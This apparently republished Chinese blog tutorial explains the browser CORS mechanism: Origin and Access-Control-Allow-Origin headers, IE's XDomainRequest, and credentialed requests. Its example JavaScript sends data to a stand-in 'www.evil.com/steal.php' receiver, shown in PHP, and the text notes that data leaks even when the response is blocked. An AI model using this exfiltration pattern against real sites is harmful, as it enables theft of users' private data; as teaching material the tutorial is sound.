跨域(一)——CORS机制

Ajax是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另一个域。但是,W3C的新标准中CORS(Cross Origin Resource Sharing)推进浏览器支持这样的跨域方案。

这个方案过程如下 :

www.foo.com(来源域)的Ajax向www.evil.com(目标域)发起了请求,浏览器自动带上Origin头,如下:

Origin:http://www.foo.com

然后目标域要判断这个Origin值,如果是自己预期的,那么就返回:

Access-Control-Allow-Origin:http://www.foo.com

表示同意跨域。如果Access-Control-Allow-Origin之后是*通配符,则表示任意域都可以往目标跨。如果目标域不这样做,浏览器获得响应后没发现Access-Control-Allow-Origin头的存在,就会报类似下面这样的权限警告:

 
 
在IE下不使用XMLHttpRequest对象,而是XDomainRequest对象,实例化后,使用方式与XMLHttpRequest基本一致。
 
www.foo.com域上有如下代码:
<script>
function createCORSRequest(method,url){
    var xhr=new XMLHttpRequest();
    if("withCredentials" in xhr){
        xhr.open(method,url,true);
    }else if(typeof XDomainRequest!="undefined"){
        xhr=new XDomainRequest();//IE浏览器
        xhr.open(method,url);
    }else{
        xhr=null;
    }
    return xhr;
}
var request=createCORSRequest("get","http://www.evil.com/steal.php?data=222");
if(request){
    request.onload=function(){//请求成功后弹出响应内容
        alert(request.responseText);
    };
    request.send();
}
</script>

目标域上有 steal.php的代码如下:

<?php
header("Access-Control-Allow-Origin:http://www.foo.com");
echo $_GET["data"];
?>

跨域往目标域发起请求后,效果如下:

但是,其实,如果目标域不设置Access-Control-Allow-Origin:http://www.foo.com,隐私数据也会被偷到,因为实际上数据已经被目标域的steal.php接收到了。CORS的安全策略仅仅在于是否允许客户端获取服务器的返回数据,但并不会阻止客户端发送的请求。也因此,客户端可以使用XMLHttpRequest向任意网站发送跨域请求,拒绝服务。

另外,默认情况下,这样的跨域无法带上目标域的会话(Cookies等),需要设置xhr实例的withCredentials属性为true(IE还不支持),同时目标域的steal.php必须设置如下:

<?php
header("Access-Control-Allow-Origin:http://www.foo.com");
header("Access-Control-Allow-Credentials:true");

?>

同时还要注意,如果设置了Access-Control-Allow-Credentials为true,那么Access-Control-Allow-Origin就不能设置为*通配符。这也是浏览器为了安全进行的考虑。

原文地址:https://www.cnblogs.com/aaron-shu/p/4158385.html